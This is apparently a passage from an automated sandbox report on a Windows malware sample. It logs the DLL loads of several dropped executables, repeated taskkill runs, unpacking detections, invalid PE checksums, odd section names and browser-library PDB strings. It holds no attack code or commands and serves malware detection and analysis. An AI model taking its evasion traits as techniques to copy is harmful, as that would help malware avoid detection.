Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Section loaded: wldp.dll
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: file.exe Static file information: File size 1973760 > 1048576
Source: file.exe Static PE information: Raw size of hhtplcno is bigger than: 0x100000 < 0x1afe00
Source: Binary string: mozglue.pdbP source: 8c3bfc0f85.exe, 0000000A.00000002.3082847664.000000006C19D000.00000002.00000001.01000000.0000001D.sdmp
Source: Binary string: nss3.pdb@ source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp
Source: Binary string: nss3.pdb source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp
Source: Binary string: mozglue.pdb source: 8c3bfc0f85.exe, 0000000A.00000002.3082847664.000000006C19D000.00000002.00000001.01000000.0000001D.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\file.exe Unpacked PE file: 0.2.file.exe.180000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 1.2.skotes.exe.10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 2.2.skotes.exe.10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 6.2.skotes.exe.10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Unpacked PE file: 10.2.8c3bfc0f85.exe.130000.0.unpack :EW;.rsrc:W;.idata :W; :EW;plxaxrgl:EW;bbsqwnst:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;plxaxrgl:EW;bbsqwnst:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Unpacked PE file: 29.2.8c3bfc0f85.exe.130000.0.unpack :EW;.rsrc:W;.idata :W; :EW;plxaxrgl:EW;bbsqwnst:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;plxaxrgl:EW;bbsqwnst:EW;.taggant:EW;
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: random[1].exe.6.dr Static PE information: real checksum: 0x4313fe should be: 0x43ec37
Source: 8c3bfc0f85.exe.6.dr Static PE information: real checksum: 0x1ca270 should be: 0x1bb8fc
Source: 150f368769.exe.6.dr Static PE information: real checksum: 0x4313fe should be: 0x43ec37
Source: 22a4a09ee3.exe.6.dr Static PE information: real checksum: 0x1c126c should be: 0x1bdb22
Source: skotes.exe.0.dr Static PE information: real checksum: 0x1e7a96 should be: 0x1e5855
Source: random[1].exe0.6.dr Static PE information: real checksum: 0x1c126c should be: 0x1bdb22
Source: random[1].exe1.6.dr Static PE information: real checksum: 0x1ca270 should be: 0x1bb8fc
Source: 99fdcf0a11.exe.6.dr Static PE information: real checksum: 0x2b6969 should be: 0x2b7d3f
Source: file.exe Static PE information: real checksum: 0x1e7a96 should be: 0x1e5855
Source: random[2].exe.6.dr Static PE information: real checksum: 0x2b6969 should be: 0x2b7d3f
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: hhtplcno
Source: file.exe Static PE information: section name: koagpykx
Source: file.exe Static PE information: section name: .taggant
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: .idata
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: hhtplcno
Source: skotes.exe.0.dr Static PE information: section name: koagpykx
Source: skotes.exe.0.dr Static PE information: section name: .taggant
Source: random[1].exe.6.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name: .rsrc
Source: random[1].exe.6.dr Static PE information: section name: .idata
Source: random[1].exe.6.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name: ajtwcbtw
Source: random[1].exe.6.dr Static PE information: section name: jmacswze
Source: random[1].exe.6.dr Static PE information: section name: .taggant
Source: 150f368769.exe.6.dr Static PE information: section name:
Source: 150f368769.exe.6.dr Static PE information: section name: .rsrc
Source: 150f368769.exe.6.dr Static PE information: section name: .idata
Source: 150f368769.exe.6.dr Static PE information: section name:
Source: 150f368769.exe.6.dr Static PE information: section name: ajtwcbtw
Source: 150f368769.exe.6.dr Static PE information: section name: jmacswze
Source: 150f368769.exe.6.dr Static PE information: section name: .taggant
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: .idata
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: dkoidnzf
Source: random[1].exe0.6.dr Static PE information: section name: bgdbltjs
Source: random[1].exe0.6.dr Static PE information: section name: .taggant
Source: 22a4a09ee3.exe.6.dr Static PE information: section name:
Source: 22a4a09ee3.exe.6.dr Static PE information: section name: .idata
Source: 22a4a09ee3.exe.6.dr Static PE information: section name:
Source: 22a4a09ee3.exe.6.dr Static PE information: section name: dkoidnzf
Source: 22a4a09ee3.exe.6.dr Static PE information: section name: bgdbltjs
Source: 22a4a09ee3.exe.6.dr Static PE information: section name: .taggant
Source: random[1].exe1.6.dr Static PE information: section name:
Source: random[1].exe1.6.dr Static PE information: section name: .idata
Source: random[1].exe1.6.dr Static PE information: section name:
Source: random[1].exe1.6.dr Static PE information: section name: plxaxrgl
Source: random[1].exe1.6.dr Static PE information: section name: bbsqwnst
Source: random[1].exe1.6.dr Static PE information: section name: .taggant
Source: 8c3bfc0f85.exe.6.dr Static PE information: section name:
Source: 8c3bfc0f85.exe.6.dr Static PE information: section name: .idata
Source: 8c3bfc0f85.exe.6.dr Static PE information: section name:
Source: 8c3bfc0f85.exe.6.dr Static PE information: section name: plxaxrgl
Source: 8c3bfc0f85.exe.6.dr Static PE information: section name: bbsqwnst
Source: 8c3bfc0f85.exe.6.dr Static PE information: section name: .taggant
Source: random[2].exe.6.dr Static PE information: section name:
Source: random[2].exe.6.dr Static PE information: section name: .idata
